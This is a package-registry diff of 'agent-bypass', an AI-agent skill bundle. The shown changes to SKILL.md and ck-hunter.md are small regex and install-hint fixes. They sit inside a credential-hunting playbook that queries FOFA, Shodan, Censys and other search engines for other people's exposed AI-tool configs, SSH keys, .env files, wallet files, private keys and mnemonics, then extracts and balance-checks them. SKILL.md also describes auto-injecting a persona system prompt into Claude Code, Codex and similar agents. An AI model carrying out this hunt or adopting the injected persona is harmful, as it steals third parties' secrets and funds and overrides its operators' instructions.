agent-bypass 2.13.5 → 2.13.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/SKILL.md +3 -3
  2. package/ck-hunter.md +51 -45
  3. package/package.json +1 -1
package/SKILL.md CHANGED
@@ -11,7 +11,7 @@ description: >
11
11
  ctf/全能模式/渗透作战/逆向深挖/内存工程 等触发词时使用本技能。
12
12
  license: MIT
13
13
  metadata:
14
- version: "2.13.5"
14
+ version: "2.13.6"
15
15
  ---
16
16
 
17
17
  # agent-bypass — Ck · 万能执行员
@@ -28,7 +28,7 @@ metadata:
28
28
  4. **一次给全**:干完汇报 = 结果 + 命令链 + 证据 + 下一步,不带问句。
29
29
  5. **没写到的任务**:走 30 标准流程 + 检索 references/learned.md 经验中枢,禁止瞎干。
30
30
  6. **卡壳就回读技能**:没有思路、没有方向、或同一路径连续两次失败时——禁止硬猜、禁止摆烂、禁止来回问。动作:回读「模块地图」定位相关模块 → 检索经验中枢(`rg -i 关键词 references/learned.md`)拿同类沉淀技法 → 结合本地环境实际能力(01/02 模块)与自身推理能力,重新构造方案再推进。
31
- 7. **搜索默认用 rg**:文本检索、日志过滤、代码搜索、查配置一律 `rg`(ripgrep)代替 `grep`;未安装先装(`apk add ripgrep` / `brew install ripgrep` / `apt install ripgrep`);仅当 rg 不可用且装不上时才退回 `grep`。
31
+ 7. **搜索默认用 rg**:文本检索、日志过滤、代码搜索、查配置一律 `rg`(ripgrep)代替 `grep`;未安装先装(`apk add ripgrep`(Alpine/iSH)/ `apt install ripgrep`(Debian/Ubuntu)/ `brew install ripgrep`(macOS)/ `pkg install ripgrep`(Termux/安卓));仅当 rg 不可用且装不上时才退回 `grep`。
32
32
 
33
33
  ## 修正对照(左列行为一律按右列来)
34
34
 
@@ -210,7 +210,7 @@ Cknb在呢,想干什么?直接开干。
210
210
  | 文件 | 大小 | Token 预算 | 读取方式 |
211
211
  |---|---|---|---|
212
212
  | `SKILL.md`(本文件) | 102KB ≈ 32K token | 全文可读 | 每次会话加载,33 模块 |
213
- | `ck-hunter.md` | 138KB ≈ 44K token | **只读 QUICKSTART(前 37 行,至 `## 输入` 前)+ 章节表 rg 切片** | 凭证猎取场景才碰 |
213
+ | `ck-hunter.md` | 140KB ≈ 44K token | **只读 QUICKSTART(前 37 行,至 `## 输入` 前)+ 章节表 rg 切片** | 凭证猎取场景才碰 |
214
214
  | `README.md` | 14KB | 不读 | 仅给人看 |
215
215
  | `config.yaml.example` | 2.5KB | 需要时读 | 密钥模板 |
216
216
  | `SYSTEM_PROMPT.md` | 3KB | 注入用 | 贴入系统提示词层;或 `npx agent-bypass` 自动注入(Pi 三层:`AGENTS.md`+`APPEND_SYSTEM.md`+`prompts/ck.md`;OpenCode:`instructions`+`commands/ck.md`;Claude Code:`commands/ck.md`+`CLAUDE.md`;Grok Build:`~/.agents/commands/ck.md`+`AGENTS.md`) |
package/ck-hunter.md CHANGED
@@ -7,7 +7,7 @@ description: CK Hunter — FOFA + Shodan + Hunter + Quake + ZoomEye + Netlas + U
7
7
 
8
8
  ## QUICKSTART(必读!只读本区 + 当前执行段,禁止通读全文)
9
9
 
10
- **为什么**:本文件 2526 行 ≈ 44K token,全文读取会撑爆上下文、模型失焦、流程走样。正确姿势:读本区 + 按章节表定位只读当前 Step 段。**若 harness 自动注入本文件全文,同样只保留头部 QUICKSTART 与章节表,正文一律 rg 切片读**(单次 ≤100 行)。
10
+ **为什么**:本文件 2532 行 ≈ 44K token,全文读取会撑爆上下文、模型失焦、流程走样。正确姿势:读本区 + 按章节表定位只读当前 Step 段。**若 harness 自动注入本文件全文,同样只保留头部 QUICKSTART 与章节表,正文一律 rg 切片读**(单次 ≤100 行)。
11
11
 
12
12
  **执行顺序**:`Step 0 密钥 → Step 1 聚合 21 源 → Step 1.9 域扩张 → Step 2 归一化去重 → Phase 0/0B 开放目录探针 → Phase 1-5D 凭证提取 → Phase 6 对话验证/余额 → Step 10 HTML 报告`
13
13
 
@@ -101,7 +101,7 @@ firecrawl: "YOUR_FIRECRAWL_KEY" # firecrawl.dev https://www.firecrawl.dev/app/a
101
101
  greynoise: "" # 可选,未认证约 100 次/天(404=IP 不在库属正常,401 才缺 key) https://viz.greynoise.io
102
102
  ```
103
103
 
104
- **加载优先级:** 环境变量(已设置则优先:`FOFA_KEY` / `SHODAN_KEY` / `SHODAN_KEY2` / `HUNTER_KEY` / `QUAKE_KEY` / `ZOOMEYE_KEY` / `NETLAS_KEY` / `URLSCAN_KEY` / `EXA_API_KEY` / `FIRECRAWL_API_KEY` / `CENSYS_API_ID` / `CENSYS_API_SECRET` / `GITHUB_TOKEN` / `BINARYEDGE_KEY` / `LEAKIX_KEY` / `PUBLICWWW_KEY` / `VT_APIKEY` / `THREATBOOK_KEY` / `OTX_KEY` / `GREYNOISE_KEY`)> `config.yaml`(`HUNTER_CONFIG` 可改路径,默认 ./config.yaml)> 无值自动跳过(内置守卫)。读取三层:`python3 yaml.safe_load` → `rg` 兜底 → `grep` 兜底(引号、行尾注释均兼容),无 PyYAML 也能跑;文本搜索默认 rg,缺 rg 先装(apk/apt/brew install ripgrep)。
104
+ **加载优先级:** 环境变量(已设置则优先:`FOFA_KEY` / `SHODAN_KEY` / `SHODAN_KEY2` / `HUNTER_KEY` / `QUAKE_KEY` / `ZOOMEYE_KEY` / `NETLAS_KEY` / `URLSCAN_KEY` / `EXA_API_KEY` / `FIRECRAWL_API_KEY` / `CENSYS_API_ID` / `CENSYS_API_SECRET` / `GITHUB_TOKEN` / `BINARYEDGE_KEY` / `LEAKIX_KEY` / `PUBLICWWW_KEY` / `VT_APIKEY` / `THREATBOOK_KEY` / `OTX_KEY` / `GREYNOISE_KEY`)> `config.yaml`(`HUNTER_CONFIG` 可改路径,默认 ./config.yaml)> 无值自动跳过(内置守卫)。读取三层:`python3 yaml.safe_load` → `rg` 兜底 → `grep` 兜底(引号、行尾注释均兼容),无 PyYAML 也能跑;文本搜索默认 rg,缺 rg 先装(`apk add` / `apt install` / `brew install` / `pkg install` ripgrep)。
105
105
 
106
106
  **本地使用:**
107
107
  ```bash
@@ -156,8 +156,8 @@ FIELDS="ip,port,protocol,country,title,link,lastupdatetime,header,status_code,ur
156
156
  PAGE_SIZE=2000 # 含 header 时高级会员上限;若去掉 header 字段可提到 5000
157
157
  MAX_PAGES=10 # 单目标最多翻页数(20000 条/目标上限保护)
158
158
  [ -z "$FOFA_KEY" ] && FOFA_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('fofa','') or os.environ.get('FOFA_KEY',''))" 2>/dev/null | tr -d ' \r\n')
159
- [ -z "$FOFA_KEY" ] && FOFA_KEY=$(rg -m1 -N '^\s*fofa\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*fofa\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
160
- [ -z "$FOFA_KEY" ] && FOFA_KEY=$(grep -m1 -E '^\s*fofa\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*fofa\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
159
+ [ -z "$FOFA_KEY" ] && FOFA_KEY=$(rg -m1 -N '^\s*fofa\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*fofa[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
160
+ [ -z "$FOFA_KEY" ] && FOFA_KEY=$(grep -m1 -E '^[[:space:]]*fofa[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*fofa[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
161
161
 
162
162
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
163
163
  case $TOOL in
@@ -235,12 +235,12 @@ done
235
235
  # Shodan 平台(备选/交叉验证)
236
236
  # key 从服务器 config.yaml 读取(shodan 主 + shodan2 备,自动轮换),不硬编码明文
237
237
  [ -z "$SHODAN_KEY" ] && SHODAN_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('shodan','') or os.environ.get('SHODAN_KEY',''))" 2>/dev/null | tr -d ' \r\n')
238
- [ -z "$SHODAN_KEY" ] && SHODAN_KEY=$(rg -m1 -N '^\s*shodan\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*shodan\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
239
- [ -z "$SHODAN_KEY" ] && SHODAN_KEY=$(grep -m1 -E '^\s*shodan\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*shodan\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
238
+ [ -z "$SHODAN_KEY" ] && SHODAN_KEY=$(rg -m1 -N '^\s*shodan\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*shodan[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
239
+ [ -z "$SHODAN_KEY" ] && SHODAN_KEY=$(grep -m1 -E '^[[:space:]]*shodan[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*shodan[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
240
240
  # 双 key 轮换(v4.2):主 key 无效/限额时自动切 shodan2(yaml + rg/grep 兜底链)
241
241
  [ -z "$SHODAN_KEY2" ] && SHODAN_KEY2=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('shodan2','') or os.environ.get('SHODAN_KEY2',''))" 2>/dev/null | tr -d ' \r\n')
242
- [ -z "$SHODAN_KEY2" ] && SHODAN_KEY2=$(rg -m1 -N '^\s*shodan2\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*shodan2\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
243
- [ -z "$SHODAN_KEY2" ] && SHODAN_KEY2=$(grep -m1 -E '^\s*shodan2\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*shodan2\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
242
+ [ -z "$SHODAN_KEY2" ] && SHODAN_KEY2=$(rg -m1 -N '^\s*shodan2\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*shodan2[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
243
+ [ -z "$SHODAN_KEY2" ] && SHODAN_KEY2=$(grep -m1 -E '^[[:space:]]*shodan2[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*shodan2[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
244
244
  CUR_SHODAN_KEY="$SHODAN_KEY" # 当前生效 key(轮换后切换)
245
245
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
246
246
  case $TOOL in
@@ -323,8 +323,8 @@ done
323
323
  # API: https://hunter.qianxin.com/openApi/search?api-key=KEY&search=BASE64&is_web=1&page=1&page_size=100
324
324
  # 文档: https://hunter.qianxin.com/openApi/record
325
325
  [ -z "$HUNTER_KEY" ] && HUNTER_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('hunter','') or os.environ.get('HUNTER_KEY',''))" 2>/dev/null | tr -d ' \r\n')
326
- [ -z "$HUNTER_KEY" ] && HUNTER_KEY=$(rg -m1 -N '^\s*hunter\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*hunter\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
327
- [ -z "$HUNTER_KEY" ] && HUNTER_KEY=$(grep -m1 -E '^\s*hunter\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*hunter\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
326
+ [ -z "$HUNTER_KEY" ] && HUNTER_KEY=$(rg -m1 -N '^\s*hunter\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*hunter[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
327
+ [ -z "$HUNTER_KEY" ] && HUNTER_KEY=$(grep -m1 -E '^[[:space:]]*hunter[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*hunter[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
328
328
  [ -z "$HUNTER_KEY" ] && HUNTER_KEY="${HUNTER_KEY:-$HUNTER_API_KEY}"
329
329
  if [ -z "$HUNTER_KEY" ]; then echo "[HUNTER] 未配置 hunter key,跳过"; else
330
330
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
@@ -398,8 +398,8 @@ fi
398
398
  # Quake 平台(360 Quake)
399
399
  # API: POST https://quake.360.net/api/v3/search/quake_service Header: X-QuakeToken
400
400
  [ -z "$QUAKE_KEY" ] && QUAKE_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('quake','') or os.environ.get('QUAKE_KEY',''))" 2>/dev/null | tr -d ' \r\n')
401
- [ -z "$QUAKE_KEY" ] && QUAKE_KEY=$(rg -m1 -N '^\s*quake\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*quake\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
402
- [ -z "$QUAKE_KEY" ] && QUAKE_KEY=$(grep -m1 -E '^\s*quake\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*quake\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
401
+ [ -z "$QUAKE_KEY" ] && QUAKE_KEY=$(rg -m1 -N '^\s*quake\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*quake[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
402
+ [ -z "$QUAKE_KEY" ] && QUAKE_KEY=$(grep -m1 -E '^[[:space:]]*quake[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*quake[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
403
403
  if [ -z "$QUAKE_KEY" ]; then echo "[QUAKE] 未配置 quake key,跳过"; else
404
404
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
405
405
  case $TOOL in
@@ -469,8 +469,8 @@ fi
469
469
  # 官方文档: https://api.zoomeye.ai/doc 认证: Header API-KEY
470
470
  # v2/search 需 qbase64,host/search 需 query 明文;脚本自动兼容
471
471
  [ -z "$ZOOMEYE_KEY" ] && ZOOMEYE_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('zoomeye','') or os.environ.get('ZOOMEYE_KEY',''))" 2>/dev/null | tr -d ' \r\n')
472
- [ -z "$ZOOMEYE_KEY" ] && ZOOMEYE_KEY=$(rg -m1 -N '^\s*zoomeye\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*zoomeye\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
473
- [ -z "$ZOOMEYE_KEY" ] && ZOOMEYE_KEY=$(grep -m1 -E '^\s*zoomeye\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*zoomeye\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
472
+ [ -z "$ZOOMEYE_KEY" ] && ZOOMEYE_KEY=$(rg -m1 -N '^\s*zoomeye\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*zoomeye[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
473
+ [ -z "$ZOOMEYE_KEY" ] && ZOOMEYE_KEY=$(grep -m1 -E '^[[:space:]]*zoomeye[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*zoomeye[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
474
474
  if [ -z "$ZOOMEYE_KEY" ]; then echo "[ZOOMEYE] 未配置 zoomeye key,跳过"; else
475
475
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
476
476
  case $TOOL in
@@ -544,8 +544,8 @@ fi
544
544
  # Netlas 平台
545
545
  # API: GET https://app.netlas.io/api/responses/?q=xxx&indices=responses&size=100&start=0 Header: X-Api-Key
546
546
  [ -z "$NETLAS_KEY" ] && NETLAS_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('netlas','') or os.environ.get('NETLAS_KEY',''))" 2>/dev/null | tr -d ' \r\n')
547
- [ -z "$NETLAS_KEY" ] && NETLAS_KEY=$(rg -m1 -N '^\s*netlas\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*netlas\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
548
- [ -z "$NETLAS_KEY" ] && NETLAS_KEY=$(grep -m1 -E '^\s*netlas\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*netlas\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
547
+ [ -z "$NETLAS_KEY" ] && NETLAS_KEY=$(rg -m1 -N '^\s*netlas\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*netlas[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
548
+ [ -z "$NETLAS_KEY" ] && NETLAS_KEY=$(grep -m1 -E '^[[:space:]]*netlas[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*netlas[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
549
549
  if [ -z "$NETLAS_KEY" ]; then echo "[NETLAS] 未配置 netlas key,跳过"; else
550
550
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
551
551
  case $TOOL in
@@ -612,8 +612,8 @@ fi
612
612
  # URLScan 平台
613
613
  # API: GET https://urlscan.io/api/v1/search/?q=...&size=100 Header: API-Key
614
614
  [ -z "$URLSCAN_KEY" ] && URLSCAN_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('urlscan','') or os.environ.get('URLSCAN_KEY',''))" 2>/dev/null | tr -d ' \r\n')
615
- [ -z "$URLSCAN_KEY" ] && URLSCAN_KEY=$(rg -m1 -N '^\s*urlscan\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*urlscan\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
616
- [ -z "$URLSCAN_KEY" ] && URLSCAN_KEY=$(grep -m1 -E '^\s*urlscan\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*urlscan\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
615
+ [ -z "$URLSCAN_KEY" ] && URLSCAN_KEY=$(rg -m1 -N '^\s*urlscan\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*urlscan[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
616
+ [ -z "$URLSCAN_KEY" ] && URLSCAN_KEY=$(grep -m1 -E '^[[:space:]]*urlscan[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*urlscan[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
617
617
  if [ -z "$URLSCAN_KEY" ]; then echo "[URLSCAN] 未配置 urlscan key,跳过"; else
618
618
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
619
619
  case $TOOL in
@@ -685,8 +685,8 @@ fi
685
685
  # API: POST https://api.exa.ai/search Header: x-api-key 或 Authorization: Bearer
686
686
  # 文档: https://docs.exa.ai/reference/search 费用: 按请求计费(numResults 10~100)
687
687
  [ -z "$EXA_KEY" ] && EXA_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('exa','') or os.environ.get('EXA_API_KEY','') or os.environ.get('EXA_KEY',''))" 2>/dev/null | tr -d ' \r\n')
688
- [ -z "$EXA_KEY" ] && EXA_KEY=$(rg -m1 -N '^\s*exa\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*exa\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
689
- [ -z "$EXA_KEY" ] && EXA_KEY=$(grep -m1 -E '^\s*exa\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*exa\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
688
+ [ -z "$EXA_KEY" ] && EXA_KEY=$(rg -m1 -N '^\s*exa\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*exa[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
689
+ [ -z "$EXA_KEY" ] && EXA_KEY=$(grep -m1 -E '^[[:space:]]*exa[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*exa[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
690
690
  if [ -z "$EXA_KEY" ]; then echo "[EXA] 未配置 exa key,跳过(Exa 为可选语义补充源)"; else
691
691
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
692
692
  case $TOOL in
@@ -730,8 +730,8 @@ fi
730
730
  # API: POST https://api.firecrawl.dev/v1/search Header: Authorization: Bearer KEY
731
731
  # 文档: https://docs.firecrawl.dev/api-reference/endpoint/search 费用: 按搜索计费
732
732
  [ -z "$FIRECRAWL_KEY" ] && FIRECRAWL_KEY=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('firecrawl','') or os.environ.get('FIRECRAWL_API_KEY','') or os.environ.get('FIRECRAWL_KEY',''))" 2>/dev/null | tr -d ' \r\n')
733
- [ -z "$FIRECRAWL_KEY" ] && FIRECRAWL_KEY=$(rg -m1 -N '^\s*firecrawl\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*firecrawl\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
734
- [ -z "$FIRECRAWL_KEY" ] && FIRECRAWL_KEY=$(grep -m1 -E '^\s*firecrawl\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*firecrawl\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
733
+ [ -z "$FIRECRAWL_KEY" ] && FIRECRAWL_KEY=$(rg -m1 -N '^\s*firecrawl\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*firecrawl[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
734
+ [ -z "$FIRECRAWL_KEY" ] && FIRECRAWL_KEY=$(grep -m1 -E '^[[:space:]]*firecrawl[[:space:]]*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*firecrawl[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
735
735
  if [ -z "$FIRECRAWL_KEY" ]; then echo "[FIRECRAWL] 未配置 firecrawl key,跳过(Firecrawl 为可选语义补充源)"; else
736
736
  for TOOL in hermes claude codex openclaw opencode npmrc ssh env git telegram session walletjson walletdat secretjson dotsecret binance ethereum privatekey mnemonic apikeys bybit dsstore; do
737
737
  case $TOOL in
@@ -775,11 +775,11 @@ fi
775
775
  # 文档: https://search.censys.io/api 查询语法: services.http.response.html_title="Directory listing for /"
776
776
  # 获取: https://search.censys.io/account
777
777
  [ -z "$CENSYS_ID" ] && CENSYS_ID=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('censys_id','') or os.environ.get('CENSYS_API_ID',''))" 2>/dev/null | tr -d ' \r\n')
778
- [ -z "$CENSYS_ID" ] && CENSYS_ID=$(rg -m1 -N '^\s*censys_id\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^\s*censys_id\s*:\s*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
778
+ [ -z "$CENSYS_ID" ] && CENSYS_ID=$(rg -m1 -N '^\s*censys_id\s*:' "${HUNTER_CONFIG:-./config.yaml}" 2>/dev/null | sed -E "s/^[[:space:]]*censys_id[[:space:]]*:[[:space:]]*//; s/[[:space:]]+#.*\$//; s/^[\"']//; s/[\"'][[:space:]]*\$//" | tr -d ' \r\n')
779
779
  [ -z "$CENSYS_SECRET" ] && CENSYS_SECRET=$(python3 -c "import yaml,os;print((yaml.safe_load(open(os.environ.get('HUNTER_CONFIG','./config.yaml'))) or {}).get('censys_secret','') or os.environ.get('CENSYS_API_SECRET',''))" 2>/dev/null | tr -d ' \r\n')
780
